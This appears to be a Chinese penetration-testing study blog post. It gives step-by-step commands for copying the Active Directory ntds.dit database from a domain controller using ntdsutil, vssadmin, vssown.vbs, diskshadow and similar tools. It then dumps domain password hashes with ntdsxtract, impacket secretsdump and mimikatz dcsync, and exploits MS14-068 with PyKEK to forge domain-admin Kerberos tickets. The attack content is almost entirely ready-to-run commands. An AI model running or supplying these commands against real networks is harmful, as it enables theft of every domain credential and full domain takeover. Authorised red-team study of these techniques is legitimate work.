内网渗透学习(五)


内网渗透学习(五)

使用卷影拷贝服务提取ntds.dit

在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置是域控的%SystemRoot%\ntds\ntds.dit。和SAM文件一样被Windows操作系统锁定

卷影拷贝服务(Volume Shadow Copy Service),属于快照技术的一种,主要用于备份和恢复


通过ntdsutil.exe提取ntds.dit

通过ntdsutil提取ntds.dit

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。支持的操作系统有Windows Server 2003、Windows Server 2008、Windows Server 2012

  1. 创建快照

    ntdsutil snapshot "active instance ntds" create quit quit
  2. 加载快照

    ntdsutil snapshot "mount {GUID}" quit quit
  3. 复制快照中文件

    copy C:\$SNAP_20180813112_VOLUMEC$\windows\ntds\ntds.dit c:\temp\ntds.dit
  4. 卸载删除快照

    ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

利用vssadmin提取ntds.dit

创建卷影拷贝

vssadmin create shadow /for=c:

在创建的卷影拷贝中将ntds.dit复制出来

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit c:\ntds.dit

删除快照

vssadmin delete shadow /for=c: /quiet

利用vssown.vbs脚本提取ntds.dit

启动卷影拷贝服务

cscript vssown.vbs /start

创建一个C盘的卷影拷贝

script vssown.vbs /create c

列出当前拷贝

csript vssown.vbs /list

复制ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\NTDS\ntds.dit c:\ntds.dit

删除卷影拷贝

cscript vssown.vbs /delete {GUID}

使用ntdsutil的IFM创建卷影拷贝

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

将ntds.dit复制到c:\test\Active Directory\文件夹下

将SYSTEM和SECURITY 复制到c:\test\registry\文件夹下

将ntds.dit拖回本地后,在目标机器上将test文件删除

rmdir /s/q test

通过Copy-VSS.ps1脚本,将SAM、SYSTEM、ntds.dit复制到与该脚本相同目录

import-module .\Copy-VSS.ps1
Copy-vss

使用diskshadow导出ntds.dit

将如下命令写入command.txt

//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到C盘中
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
//删除所有快照
delete shadow all
//列出系统中的卷影拷贝
list shadow all
//重置
reset
//推出
exit

接着diskshadow.exe直接加载这个文本文件

diskshadow /s c:\command.txt

导出ntds.dit中的散列值

使用esedbexport恢复ntds.dit

提取表信息

esedbexport -m tables ntds.dit

使用ntdsxtract导出散列值

//将导出的ntds.dit.export文件夹和SYSTEM文件一并放入ntdsxtract文件夹
dsusers.py ntds.dit.export/database.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tree all_user.txt

导出域内所有计算机信息

dscomputers.py ntds.dit.export/database.3 computer_output --csvoutfile all_computers.csv

使用impack工具包导出散列值

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

利用dcsync获取域散列值

  1. 使用mimikatz转储域散列值

    mimikatz有一个dcsync功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值

    以域管权限打开命令行运行mimikatz,导出域内所有用户名及散列值

    lsadump::dcsync /domain:pentest.com /all /csv
  2. Invoke-DCSync -PWDumpFormat


使用Metasploit获取域散列值

  1. psexec_ntdsgrab模块使用
  2. 基于meterpreter会话获取域账号和域散列值

使用vshadow.exe.和QuarksPwDump.exe导出域账号和域散列值


Kerberos域用户提权漏洞

Kerberos域用户提权漏洞(MS14-068; CVE-2014-6324)。影响范围:Windows所有服务器操作系统。该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。

原理:用户在向KDC申请TGT时,可伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么返回给用户的TGT就使普通域用户拥有了域管理员权限。

PyKEK工具包

PyKEK是一个利用Kerberos协议进行渗透测试的工具包,使用PyKEK可以生成一个高权限的服务票据。

查看补丁情况

// MS14-068的补丁为 KB3011780
wmic qfe get hotfixid

查看用户的SID

whoami /user

生成高权限票据

python ms14-068.py -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

用mimikatz将高权限票据注入内存

mimikatz> kerberos::purge
mimikatz> kerberos::ptc "TGT_user1@pentest.com.ccache"

goldenPac.py

Metasploit的MS14-068利用脚本

use auxiliary/admin/kerberos/ms14-068_kerberos_checksum

参考:内网安全攻防渗透测试实战指南


文章作者: Doublenine
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Doublenine !
 本篇
内网渗透学习(五) 内网渗透学习(五)
内网渗透学习(五)使用卷影拷贝服务提取ntds.dit在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置是域控的%SystemRoot%\ntds\ntds.dit。和SAM文件一样被Wind
下一篇 
内网渗透学习(四) 内网渗透学习(四)
内网渗透学习(四)域内横向移动技术是在复杂的内网攻击中被广泛使用的一种技术,攻击者会利用该技术,以被 攻陷的系统为跳板,访问其他域内主机,扩大资产范围。 常用Windows远程连接和相关命令IPCIPC共享“命名管道”的资源,是为了实现进程
  目录